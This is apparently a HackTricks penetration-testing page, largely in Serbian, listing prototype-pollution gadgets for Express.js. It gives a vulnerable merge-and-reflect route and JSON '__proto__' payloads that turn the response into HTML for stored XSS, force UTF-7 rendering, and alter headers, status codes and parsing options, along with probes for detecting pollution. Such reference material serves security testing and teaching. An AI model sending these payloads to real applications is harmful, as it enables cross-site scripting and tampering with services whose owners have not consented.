Express Prototype Pollution Gadgets

Support HackTricks

Serve XSS responses

Za više detalja pogledajte originalno istraživanje

Promenite JSON content-type u HTML

U Express aplikaciji koja koristi JSON content type response i reflektuje JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

U ovim slučajevima XSS obično nije moguć sa JSON tipom sadržaja. Međutim, sa zagađenjem prototipa možemo zbuniti Express da vrati HTML odgovor. Ova ranjivost se oslanja na aplikaciju koja koristi res.send(obj) i koristi parser tela sa tipom sadržaja application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

By polluting body and _body properties, it's possible to cause Express to serve up the HTML content type and reflect the _body property, resulting in stored XSS.

Render UTF7

Moguće je naterati express da prikazuje UTF-7 sadržaj sa:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Tehnike bezbednog skeniranja

JSON razmaci

Sledeći PP će dodati dodatni razmak unutar JSON atributa koji neće pokvariti funkcionalnost:

{"__proto__":{"json spaces": " "}}

Tada će reflektovani JSON izgledati ovako:

{"foo":  "bar"} -- Note the extra space

Izloženi Headeri

Sledeći PP gadget će naterati server da vrati HTTP header: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Zahteva se da CORS modul bude instaliran

OPTIONS Metoda

Sa sledećim payload-om, moguće je sakriti metodu iz OPTIONS odgovora:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Moguće je promeniti vratni status kod koristeći sledeći PP payload:

{"__proto__":{"status":510}}

Greška

Kada dodelite prototipu primitivnu vrednost kao što je string, to proizvodi operaciju bez efekta jer prototip mora biti objekat. Ako pokušate da dodelite objekat prototipa samom Object.prototype, to će izazvati izuzetak. Možemo koristiti ova dva ponašanja da otkrijemo da li je zagađenje prototipa bilo uspešno:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

Kada aplikacija uključuje objekat u svoj odgovor, kreiranje atributa sa neobičnim imenom pored __proto__ može biti korisno. Konkretno, ako samo neobični atribut bude vraćen u odgovoru, to može ukazivati na ranjivost aplikacije:

{"unusualName":"value","__proto__":"test"}

Pored toga, u scenarijima gde se koristi biblioteka kao što je Lodash, postavljanje svojstva kako putem zagađenja prototipa (PP) tako i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljanom objektu pre nego što ga spoji:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Razno

Dozvoli tačke

Postoji opcija u Express-u koja vam omogućava da kreirate objekte iz parametara upita. Definitivno je možete koristiti u lancu grešaka za iskorišćavanje ranjivosti zagađenja prototipa.

{"__proto__":{"allowDots":true}}

?foo.bar=baz kreira objekat u Node.

Reference

Podržite HackTricks

Last updated